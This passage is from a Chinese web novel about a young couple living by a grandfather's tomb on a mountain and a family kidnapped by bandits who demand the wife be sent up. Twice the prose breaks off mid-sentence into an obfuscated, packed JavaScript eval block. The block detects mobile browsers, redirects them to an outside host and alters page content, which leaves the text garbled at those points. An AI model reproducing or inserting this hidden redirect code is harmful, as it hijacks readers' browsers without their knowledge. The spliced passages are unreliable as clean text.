谢让肩上扛着一根碗口粗的木头回来,背后还背着一捆,先去煮了一锅浓稠的麦仁粥,就着小菜,早饭就这么凑合了,然后他便忙着砍柴劈柴、挑水和泥,就在木屋旁边收拾出一块利索的地方,挖个坑,用石头和泥巴砌了一个简易的小土窑,把木柴齐整地摆放进去,开始烧制木炭。 叶云岫饶有兴致看着他忙,也跟前跟后,帮着搭把手、递个东西之类的。谢让这厮平日里看着不急不躁、慢条斯理的,不想竟是个急性子,一窑木柴烧好封窑,等着它碳化,另一边就马不停蹄地上山伐木,赶在天黑前搭建了一个简易的棚子当厨房。 总不能就在露天地里煮饭烧菜吧,下雨就没得吃了。 叶云岫围着厨房转了一圈,十分满意,四根柱子,一个木头和茅草的棚顶,新鲜砍来的木材还带着一股子木质清香。谢让说先凑合一下,等他有了工夫,再用原木把四面墙封起来,用茅草和黄泥打制泥浆涂上,棚顶也要用草泥浆覆一层,就正经是个遮风避雨的厨房了。 土窑里的木炭要等它八个时辰碳化,冷却以后才能有炭用,所以当晚又烧起了木柴篝火,天际一轮下弦月,星空如庐,两人坐在暖和的木屋里又吃了一顿手擀面,这次用的黄花木耳做的浇头。 “想想还有什么急缺的。”谢让吃着面思忖道,“眼下就是用水和洗澡不方便,天又冷,先凑合几日。山上是有山泉的,等我得闲,可以用竹子打通,把泉水引下来。” “一样一样来,有吃有住,也没什么急缺了。”叶云岫抬起慧黠的黑眼睛笑他,“不然你什么时候能得闲啊,你比你家那头驴都忙。” “……”谢让眯着眼睛乜她,手指点了点,作势要去敲她的脑门,叶云岫缩着脖子偷笑。 “这几日外祖父应当会使唤元明上山来送粮,菜眼下也要从山下弄,开了春天气转暖,我们就可以种菜了。对了,记得等元明来了,叫他下回帮我们买几只鸡带来,好给我们下蛋吃。” “不买小鸡来养?”叶云岫问。 “小鸡要等到二三月间,才有孵蛋卖雏鸡的,或者自家也能孵。”谢让想了想,干脆叫周元明一同买只公鸡来吧,养着当鸡头,自家就好孵小鸡了。以前在谢宅没法养鸡,山上养鸡多方便啊,散在山上也不用管,不用喂粮食,索性就多养几只。 叶云岫对这个想法非常支持,连连点头:“对对,养一群鸡,鸡蛋好吃,公鸡还能杀了吃肉。” 谢让答应着,吃饱了放下碗,满足地摸着肚子慨叹:“山居简陋,却也逍遥得很。” 不用干活,不用管那些乱七八糟的事情,每天就只操心两口人吃吃喝喝,想想都惬意。 “我觉着已经很好了。”叶云岫道,“等把你说的那些都弄好,就什么都不缺了。你这是打算要在山上长住了?” 谢让看着她,眸光微闪,笑道:“那要看你能在山上住多久了,等你什么时候不想住了,我就带你下山。” 21. 第 21 章 第三天晚上,他们用上了木炭,吃上了自家蒸的热馒头。 隔天上午,周元明果然上山来了,送来一些粮食和菜蔬,还带了一块两三斤的猪肉,同时也带来了谢家的后续消息。谢让釜底抽薪后,老王氏气得又对外宣称病重,并重新决定把谢凤鸣嫁入王家,谢让他们上山的第二天定的亲。 然而没过半月,谢让下山买东西,恰好赶上最新消息,谢凤鸣失踪了。 所谓失踪大约是好听一些的说法,谢家的人讳莫如深,其实镇上很多人心中有数,种种迹象都只有一个结论,谢凤鸣逃婚了,而且应当是跟着人走的。 或者说私奔了。 果然谢凤鸣从来不是软柿子,定亲的时候明知道反抗不了,也就表现得十分顺从,之后也表现如常,但是二月二龙抬头那天,借口上街买胭脂,便一去无影踪了。有人看到她在镇口上了一辆平顶的乌篷马车。 要知道大梁朝战乱不断,马匹也算是战略物资,平常人家哪用得起马车的,起码得是陵州城里的富贵人家。 再后续的消息,是老王氏又把谢燕容填了谢凤鸣的缺,最终把大房的庶女谢燕容许给了侄孙王继宗。既然是个庶女,在老王氏看来能简则简,她的侄孙已过弱冠年纪了,等不得太久,并且也为了掩盖谢凤鸣的丑事,喜事早办早好,二月末,一顶花轿把谢燕容抬去了王家。 谢让还在“思过”,也不好下山去给这个堂妹添妆,再说前因种种,他去了也是尴尬。想想这个堂妹虽没有多深的情分,却也是个温婉可爱的少女,弄得谢让心中很是憋闷。 春天来了,山杏花一开,谢让带着叶云岫开始捣鼓种菜。 不光种菜,他还变着法子捉鱼。山下的白马河里,饿了一冬天的鱼味道格外鲜美,闲来垂钓,或者下鱼笼子,总之叶云岫就喝到了鲜美的鱼汤。 叶云岫对鱼的兴致一下子格外高涨。毕竟,末世的生物变异就是从水生物、从海洋生物开始的。 叶云岫研究了一番盘中的葱香鲫鱼,大呼好吃,问谢让:“以前你怎么没做过?” 谢让没好气道:“以前大冬天,河湖池塘都冰封了,我去哪里给你卧冰求鲤!” 其实原本过年那会儿应当是要吃鱼的,虽说冬日里鱼贵,可过年应个景,往年谢宅好歹也会买上两条。今年赶上谢凤歌被休的糟心事,谁还有心思买鱼吃呀。 叶云岫不懂卧冰求鲤是个什么典故,琢磨着鲤鱼也好吃,等他再捉到鲤鱼就红烧了吃。 叶云岫身子孱弱要补养,谢让反正如今也清闲,山中不知烦心事,整日就操心两张嘴了,养鸡、捉鱼,有时下山买点肉,偶尔还能捉个野兔、山鸡之类的野味。 有一次他在菜地边上捉到一条老大的草蛇,兴许是刚过惊蛰,蛇也呆兮兮的不爱动,怕吓到叶云岫,谢让赶紧拿铁锹去铲,打算送到远一点的地方放了。 谁知这小丫头偏偏还跑过来看,饶有兴致地问:“这个也能吃吗?” 谢让眼角一抽,努力维持淡定回答:“南方是有人吃的,不过我们这里不吃,反正我不吃。” 叶云岫乖巧点头,谢让都不吃,那肯定是不好吃的。 谢让有时候也纳闷,江南叶家到底是怎么养出这样的女儿的,转念又想到她大病一场忘了很多事情,除了还记得她父亲,甚至连家中有几个兄姊都忘了,心性宛如稚子,似乎也没有什么好奇怪的。 并且她口中他那位岳父,貌似也不是个循规蹈矩之人,大约也没有按照一般闺阁千金的礼教去教养约束她。她甚至都不会女红针线,谢让砍柴不慎扯破的衣裳,他自己拿了针缝补,小丫头就坐在旁边笑眯眯地看着。 眼见小丫头脸上渐渐有了点血色,虽然依旧一副弱不禁风的样子,但好歹不那么整日病病殃殃了,兴致好的时候还能跟着他爬山砍柴,跟着他下山钓鱼,乖乖巧巧地当一条小尾巴。 分明是乐不思蜀,丝毫也没有想下山的苗头。 山中无日月,桃花一开,山下的农事又该忙起来了。这一日,谢仲打发了长子谢宥上山来探望。 谢宥是个粗壮敦厚的中年汉子,不善言辞,但仍是把谢仲的意思忠实转达了一遍,如今春耕开始,谢宅那边,连个能出来管事儿的人都没有,叫谢仲很是着急担忧。 当初谢信买给宗祠的族田,而今实际上大半都已经回到了谢家手中,这两年都是谢让管理。现在谢让“思过”,在谢仲几番提醒之下,前几日谢寄好歹应下了春耕的事情,第一天就跟帮工闹了矛盾。 这些帮工都是附近的乡民居多,是谢让以前惯用的,谢寄哪里懂得农事,穿着华服,摇着折扇,高高在上地冲着帮工们一顿支使,又要把工钱日结改成赊欠,便有些帮工当场扔了锄头,骂骂咧咧走人了。 这么下去,要完。 谢仲的意思,自然是想叫谢让下山。事情都过去两个月了,过去就过去了吧,偌大的谢宅,如今屋子漏个雨,都得惊动谢仲,要族中找人给他们修。这些里外的杂活粗活,以前都是谢让随手管了,可是有人眼瞎看不到眼里。 谢让对此说不忧心是假的,毕竟农时不等人,然而他也深知,他回去又能如何?更何况谢仲一片好心,还未必有人领情。 谢让婉言拒了,只说祖父忌日就快到了,他既说了要为祖父守墓,一言既出,哪能不算话的。 山下的事情他管不到了,先把他的竹子引水弄出来,买了毛竹拖上山,开工干活,一边也要琢磨自家的生计。 如今他跟叶云岫住在山上,除了粮食、盐之类的,其他所需差不多都能自给自足,他也要想法子挣钱养家的。谢让便盘算着要在周围山坡开一片荒地,种些粮食作物,平日里也可以打柴、采药下山去卖,总之他一个大男人有手有脚,养家糊口还不成问题。 月末,谢诚忽然上山来了。 谢让刚好把最后一根毛竹铺设完,一直架到山上泉眼,泉水叮咚,便顺着首尾相连的毛竹引下山来,一直引到菜地旁边。 谢诚长袍宽袖,见谢让一身短褐,两脚泥,高高地挽起裤腿,比个乡野农夫还不如,谢诚眼里不禁露出几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14049907|147670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鄙夷。 “大堂兄怎么来了?”谢让就着泉水洗了把手,在外廊下脱掉沾泥的鞋子,赤着脚,自顾自走进屋里。 “弟妹。”谢诚自以为潇洒地含笑冲叶云岫致意。 架竹子的活儿叶云岫帮不上忙,原本在廊下闲坐,春风吹得人犯困,她正昏昏欲睡呢,被谢诚一打扰,便有些不高兴了,索性起身进屋去了,理都没理。 谢诚顿时有些尴尬,暗怪这女子毫无礼数,同时却又忍不住暗自惊叹,两月不见,这女子明明在山上餐风饮露吃苦头,怎么瞧着却越发光彩照人了。 这时谢让换了鞋子,拎着两个木凳出来了,随手放在廊下请他坐。 “山上没有好茶,大堂兄尝一尝这山泉水吧。” 谢让在旁边小木桌上倒了两杯水,示意一下,便自顾自拿起一杯来喝。 “你这日子,也实在是清苦。”谢诚开口道,“我此次来,一来是看望你们一下,二来也是想劝劝你,我是你大堂兄,你就听我一句,去跟祖母好好认个错,自家至亲骨肉,祖母纵然心中有气,可也心疼你在这山上吃苦,你就赔个罪,祖母也是能原谅你的。” 谢让淡笑,平平淡淡的语调说道:“我忤逆祖母,罪孽深重,哪有脸去求祖母原谅。我没打算回去,大堂兄就不必劝我了。” 谢诚一窒,刚想开口,谢让已经放下茶杯笑道:“大堂兄此行,还有别的事吗?若是无事,大堂兄就去给祖父磕个头,赶紧下山去吧,我这里简陋非常,实在也没有什么能招待大堂兄的。” 谢诚未出口的话被堵了回去,顿了顿,憋着脸说道:“再有几日就是祖父的忌日了,祖母今年要去华严寺给祖父供灯做法事,家中众人自然都要随行的,你去不去?” “我?”谢让说,“我就在这儿给祖父守墓,哪用得着跑到华严寺去上香。” 前后没有一盏茶工夫,谢诚气鼓鼓下山去了。 四月初七,谢信忌日。谢让在谢信墓前上了三炷香,烧了些香烛火纸,这事就算过去了。 四月初九,谢让一早下山去买东西,叶云岫一个人在家。中午前后,谢寄忽然上山来了。 谢让不在,叶云岫木着脸站在廊下,等着谢寄开言。谢寄看起来很是狼狈,发髻散乱,拎着长袍,一脸惶惶然。 “谢让呢?” 叶云岫抬手指了指山下。 “他下山去了?他下山干什么去了,我怎么没遇到?” 叶云岫摇头,她哪儿知道啊。 “你……你快跟我下山,去找谢让。” “?”叶云岫挑眉,漆黑的眸子不带表情地看着谢寄。 “唉,没工夫跟你细说了,你先跟我下山,你祖母她们出事了,出大事了!”谢寄着急败坏地顿足。 叶云岫眸光漠然在他脸上一顿,转身进了西屋,咣当一声把门关上了。 关她屁事! 与此同时,下山的谢让得知了一个轰动白石镇的消息,老王氏一行人去华严寺上香,返回的路上,被玉峰岭的山匪绑票了。 22. 第 22 章 玉峰岭离此三十里,是北陵山最为险峻的一座高峰。整座北陵山脉宛如一条青龙,从陵州城东北方向纵横穿过。谢家一干人去城南的华严寺进香,按说不必经过玉峰岭,只是从附近经过,谁知就被玉峰岭的山匪捉了去,如今都在山寨关着呢。 要怪,大约只能怪老王氏和谢凤歌她们太招摇了。 谢家因为谢信,本就是陵州当地有名的家族。如今虽然败落,可谢凤歌有钱啊,被休的伯府少夫人,好几马车的嫁妆拉回来,一时间弄得喧嚣尘上,当地谁人不知。这次老王氏能大张旗鼓,不远几十里跑去当地有名的华严寺上香做法事,原本也是谢凤歌为讨老王氏欢心,出了钱的缘故。 这一对祖孙的性情,哪里是能低调的。 于是谢家一行人,在陵州租了三辆马车,还有谢寄、谢宸、谢诚等骑马跟着,一路上春暖花开,甚至带着几分游山玩水的心情,于四月初三上山去的华严寺。 老王氏他们在华严寺一住四五日,足足给谢信做了三天的水陆道场,供了灯,四月初八才下山返程,下山不远就被山匪劫了。 除了范氏借口生病没去,老王氏、大房、三房,包括四叔谢宸,谢家十几口子被山匪劫掳上山,开出了五千两银子的赎金,又放了谢寄下山筹钱,限定三日内送银子上山赎人,不然就等着撕票收尸吧。 五千两银子,山匪当真瞧得起谢家,把如今的谢家连宅子、田产全都卖了也不够。谢凤歌手中有钱,可恐怕也拿不出五千两,更何况先不说谢凤歌肯不肯拿,她手中值钱的铺子、庄子,就算卖掉也不是一下子就能变现的。 只能说这帮山匪实在是高估如今的谢家了。 谢宅如今只剩下杨姨娘和谢燕真、谢燕娴等几个年纪小的庶女,谢询也被劫去了山寨,杨姨娘六神无主就只会哭。谢让安抚一番,匆匆赶去宗祠,他在宗祠见到了丧家之犬一般的谢寄。 族中一群人也是愁得头大,最终谢仲好歹还有几分主张,一边托了人脉去跟山匪周旋,打量着能把赎金降一降,一边跟谢寄、谢让摊开了说,族中肯定也筹不出几个钱,总之还是你们家的事情,你们商量看怎么办吧。 谢让能怎么办?他又不会点金术,再说就算要变卖家产,也不是他一个谢让就能做主的。 落日时分谢让才回到山上,叶云岫正在厨房烧火,尝试着想煮个粥。 “你会做饭?”谢让掀开锅盖看了看,锅里放的小米,看起来蛮像那么回事,他笑着夸了一句,“厉害,如今我们云岫也会煮粥了,看来我不在家也饿不着了。” 叶云岫窘了一下,她有那么笨吗,明明她平时也有帮他烧火。 “你出去吧,回来时凤宁给我带了饼子,我把这个粥煮好就能吃饭了。” 谢让拍拍她,叶云岫起身把烧火的位置让给他,却没出去,蹲在他旁边问道:“你祖母的事情,怎么样了?” 谢让只说谢仲找了中间人去谈判转圜,叹道:“如今我也不知道还能怎么办,走一步算一步吧。” 他把粥煮好,又随手炒了个青菜,两人收拾吃饭。饭后照例在房前屋后散步消食,暮春夜色下,远处的山河,近处的草木,一切都那么的安闲恬静,谢让的心情却无法宁静。 “这几日我可能比较忙乱,不一定顾得上你。”谢让说,“留你一个人在山上也不放心,要么明日一早你跟我下山,去外祖父家暂住几日,要么我让凤宁和元明来山上陪你,凤宁就跟你住,元明让他住我那屋,这样我晚上若脱不开,就不赶回来了。” 叶云岫想了想,这两个选择她其实都不是太愿意。让她去外祖父家暂住,总归是不熟悉也不习惯,不想去;可若是让凤宁和周元明上山陪她,留外祖父一个老人在家也不合适。 她想说其实她一个人在山上挺好,可也知道谢让不会答应。叶云岫心中衡量,最终说道:“那我跟你下山。” 于是谢让翌日一早带着叶云岫下山,暂时把她安置在外祖父家中。 谢家那边,一边还得想法子筹钱,一边等着山匪那边的消息。 第二日傍晚,中间人终于带回了消息,几经讨价还价,山匪同意把赎金降到三千两,但是有一个特别的条件,必须谢让带着叶云岫送银子上山。 谢让当时脸色就变了,惊怒交加。 “为何会有这种要求?” 谢让锐利的目光望向中间人,同时盯着谢寄。中间人摊手说他也不知道,他此次上山,并未见到谢家众人,出面见他的是山寨的二大王,就这么告知他的。 谢让冷声道:“三叔可否说说,这是何道理,这事原本跟云岫毫无牵扯,为何非要让她一个弱女子上山送银子?” 谢寄目光游移,说道:“我哪知道啊,我统共就在山寨大门口的树上绑了大半日,然后他们就放我下山,叫我回来筹银子了。” 被谢让冷然的目光盯着,谢寄气急败坏道:“你问我,我问谁去,我在山上真没听说,你怎么不去问你媳妇,兴许她在外头惹的什么祸,也兴许她跟山匪有旧呢。” “胡说!”谢让腾地起身,怒道,“云岫她一个闺阁弱女子,千里迢迢来到陵州,是我亲自接回来的,自从来到谢家,她除了新婚次日去过一趟宗祠拜祭,平日连大门都不曾踏出过,一个外人都没见过,三叔身为长辈信口胡言,不觉得过分么?” 谢寄涨红脸,索性道:“我说了我不知道,现在说这些有什么用,还是赶紧想法子救你祖母要紧。谢让,那都是你嫡亲的祖母和亲人,你可不能见死不救啊。” 谢让冷哼一声,先不论谢家拿不拿得起三千两银子,反正他是不会让叶云岫去的。 谢让起身冲谢仲一揖道:“堂祖父,我身为谢家子孙,既然是我的祖母、亲人有难,我责无旁贷要救他们的,但是我娘子这事,来的毫无道理,为何非要她一个弱女子上山,此事就不必说得太白了吧,一码归一码,我谢家如何能做这种缺德无理、不仁不义之事?” 谢仲及在场其他族中长辈,一个个也都面有难色,但却无人开口声援他。毕竟,一边是一个远嫁而来的外姓孤女,另一边却是自家的亲族和子侄后辈。 谢让心中悲凉,冷声道:“我今日就把话撂在这里,那是我祖母,孝道大过天,我便是拼了性命也会去救的,但是至于云岫,我是绝不会让她牵扯进来的。” “谢让,那可是你亲祖母!”谢寄在一旁叫道,“谢让,你还有没有良心了?你可要想想清楚了,还有你三婶、四叔、你弟弟他们,血脉骨肉,你怎么就只顾着你媳妇,猪狗不如的东西!媳妇只是外人,大不了再娶一个就是了,况且只说让她上山,也还未必怎样呢,若是因此害了你祖母他们,你说要怎么办!” “大男儿有所为有所不为!云岫的命也是命,若非得牺牲谁才能救祖母,谢让这条命赔给祖母就是!” 谢让立在当场,怒声道,“三叔说得这般至纯至孝,那就请三叔先去凑齐三千两银子再说吧,不然说再多也是无用的废话!” 夜幕深沉,谢让心事重重回到外祖父家,云岫和谢凤宁已经睡下了,外祖父也歇下了,却还没熄灯,听见他回来,便起身叫他进去。 听谢让说完,周旷年面有忧色,问道:“你打算怎么办?” “我还能打算怎么办!”谢让苦笑道,“且不说祖母,四叔和谢询他们也都被劫去了,纵不论道义,让我不去管他们我也做不到,可是让我牺牲云岫,我更做不到,这事原本与云岫有何干系?她才是最无辜的。” 外祖父叹道:“你此去危险。” “危险又能如何,我眼下别无选择。”谢让苦笑道。 他心中隐隐有个猜测,山匪怎会知道叶云岫的存在,只怕还是谢家人把她牵扯进来的。 “所以……”谢让迟疑片刻,道,“所以我想请外祖父带着云岫和凤宁,先离开白石镇,出去躲避几日再说。外祖父若是同意,回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14061623|147670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就和元明安排。” “躲又能躲去哪里,万一这镇上有山匪的眼线呢?若真是那样,我们贸然离开,反倒落了单。” 外祖父思索片刻,说道,“此事先别跟他们三个声张,明日一早,就让元明带着你媳妇和凤宁上山,仍旧回你祖父墓地去,玉峰岭的山匪总不可能大肆跑来白石镇作乱,且山下若有动静,他们在山上也比山下好躲。” 次日天还没大亮,谢让就起床出门了。这已经是山匪限定的第三日,他昨晚与谢仲商量过的,谢让决定今日他先带着一部分银子上山,免得山匪大开杀戒。 别无他法。 同时他也想去探一探究竟,相机行事。最起码好歹安抚拖延一下,求山匪再宽限几日。 范氏叫人送来了三百两银子,捎话说她已尽力了。谢凤歌那边,谢寄大肆搜刮一番,把谢凤歌带回的嫁妆之中,值钱的衣服首饰、器物摆件等等,也有许多原本落到崔氏手里的,谢寄全都送去了当铺,搜刮出足有六百两之多。老王氏房里再折腾折腾,能当的当、能卖的卖,加上老王氏这几年的积蓄,大约连老王氏给自己预备的棺材本也拿来了,东拼西凑,居然也折腾出四百两银子。 宗祠这边,谢仲牵头,一共也凑了二百两银子,加起来一千五百两,有银票也有现银,谢让便带着这一千五百两银子,和谢仲委托的中间人一起上了玉峰岭。 而白石镇这边,叶云岫早晨在周家醒来,便听说谢让有事出门了。起床后吃了早饭,外祖父便叫周元明送她和谢凤宁上山,回墓园去。 一向乖顺听人安排的叶云岫这次却犯了犟。 昨日谢让匆匆带她下山安置,今早外祖父又急着送她回去,还叫谢凤宁和周元明陪着,真当她是个傻的呢。她也不说别的,就只是摇头道:“我不走。外祖父,您应当告诉我,到底发生了什么事情。” 外祖父自然不能说,叶云岫却也不肯走,周元明和谢凤宁还不清楚发生了何事。叶云岫本来就寡言少语,别的也不再多说,便只是默默回房去了。 外祖父也拿她毫无办法。 这一等就一直等到了第四日上午,谢诚突然来了。谢诚被周元明拦在门外,便在外面大喊大叫,吵吵着要见叶云岫。 叶云岫听到他嚷嚷,刚一走出大门,谢诚便大叫道:“你这女子,究竟是个什么祸害,那山匪是如何认得你的?那些山匪说认得你和谢让,谢让如今被山匪扣下了,山匪叫拿你去换,不然这就杀了谢让,杀了祖母和我娘他们。” ………… 谢让是被山匪单独绑着关押的,水米未进一日夜,直到隔日下午,忽然涌进来几个山匪,推推搡搡把他带到了山寨大门口。 谢家一干人都在,谢宸、谢询、谢谅和谢谊几人被绑在树上,老王氏和崔氏、谢凤歌她们甚至不用绑,半死不活地委在地上。两个山匪把谢让推搡过去,也绑在了树上。 谢让心中苦笑,忽然把他们都提了来,难不成山下有银子赎人,还是索性要撕票杀掉他们? 然而他很快就知道了。 人间四月,一路浓浓淡淡的绿荫中,一行十几人出现在下方的山道上,山匪们拎着腰刀,簇拥着一个少女走在前面。 那少女穿了一身青绿衣裙,容颜娇美,身形纤弱,一头乌发披散开来,迎着四月的微风飘然拂动。少女神情漠然,仿佛只是来了一个寻常的地方,并无其他表情,也不等人催,自顾自徐步走在前面。旁边的山匪们大约也是少见她这样一个不哭不闹的娇弱小女子,竟没有押着她,反而吆喝说笑地簇拥着她,一路上山来了。 谢让一见那道身影,顿时目眦欲裂,再也没有了听天由命的淡然。 “云岫,快跑,你快走,不要上来,快跑!”谢让绝望地嘶吼。 少女停住脚,抬头看着寨门上方的一溜儿人,黑漆漆的眸光落在谢让身上,眉头皱了皱,娇嫩清澈的嗓音慢吞吞问道:“谢让,他们打你了?”